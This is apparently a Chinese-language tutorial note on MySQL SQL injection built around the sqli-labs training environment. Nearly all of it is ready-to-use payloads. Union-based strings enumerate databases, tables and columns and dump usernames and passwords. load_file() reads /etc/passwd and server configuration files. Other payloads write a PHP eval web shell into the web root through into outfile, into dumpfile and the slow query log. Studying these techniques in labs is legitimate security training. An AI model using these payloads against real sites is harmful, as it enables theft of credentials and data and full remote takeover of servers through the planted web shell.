sql注入基础(一)
SQL注入产生的根本条件:可控变量、特定函数
判读是否可以注入#
(1)判读参数类型
数字型 字符型 搜索型 加密型(base64) 表达型(json)
(2)判读是否有注入点
有多个参数请求时需要用手工测试判读注入点
方法: 在参数后面加' 页面有报错就证明说明后端对前端的数据输入没有很好的过滤,存在SQL注入漏洞 //无论字符型还是整型都会因为单引号个数不匹配而报错
mysql union联合注入(有回显):
1.利用order by判读当前表的字段个数
?id=1 order by 3 --+
//GET(url)用--+注释后面语句、POST用#或者--(空格),因为+在url中会转换(空格)
2.查看回显位于第几列
?id=-1 union select 1,2,3--+
//当id=-1时查询不到结果,结果就为空,所以就可以用union select对SQL语句拼接
3.利用mysql函数进行信息收集
?id=-1 union select 1,database(),@@version_compile_os--+
数据库版本---version()
数据库名称---database()
数据库用户---user()
操作系统---@@version_compile_os
4.在information_schema中查询所有数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
知识点:select <字段> from <表名> where <查询条件>
information_schema 表特性,记录库名,表名,列名对应表
information_schema.schemata:记录所有数据库的表
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
table_schema:数据库名
Table_name:表名
Column_name:列名
guroup():显示所有的内容,并以,分开
5.查询指定数据库名下的表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"
//Information_schema.tables后面的tables是复数有个s
6.查询指定表下的列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"
7.查看指定列下的数据
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users
mysql 文件读写注入:
//需要mysql需要开启secure_file_priv参数
(1)利用load_file()函数读取文件
方法:
?id=-1 union select 1,2,load_file("/etc/passwd")
?id=-1 union select 1,2,load_file("D:/phpStudy2018/PHPTutorial/Apache/conf/httpd.conf")
//路径用的斜杠是/,而不是\;文件大小小于max_sllowed_packet;File_priv为yes(拥有FILE权限)
//获取路径方法:phpinfo.php、字典、报错
(2)利用into outfile()函数写入文件
方法:
?id=-1 union select 1,"<?php @eval($_POST['pass']);phpinfo();?>",3 into outfile 'D:/phpstudy_pro/WWW/sqli/Less-2/1.php' --+
?id=-1 union select 1,"<?php @eval($_POST['pass']);phpinfo();?>",3 into dumpfile 'D:/phpstudy_pro/WWW/sqli/Less-2/1.php' --+
//写入内容需要用"(双引号)而不是用'(单引号)
// outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出,会在行末端写入新行,一般情况用outfile函数
// dumpfile只能写一行,并且输出中不存在任何格式,写入二进制可执行文件进行udf提权的时候,用dumpfile函数
如果secure_file_priv有限制,则需要借助phpmyadmin或者直连对方数据库进行绕过
也可以用SQL语句对日志文件进行写入一句话木马
set global slow_query_log=1; //开启
set global slow_query_log_file='D:/phpstudy_pro/WWW/phpMyAdmin4.8.5/555.php'; //设置日志文件路径
select '<?php eval($_GET[A])?>' or SLEEP(1);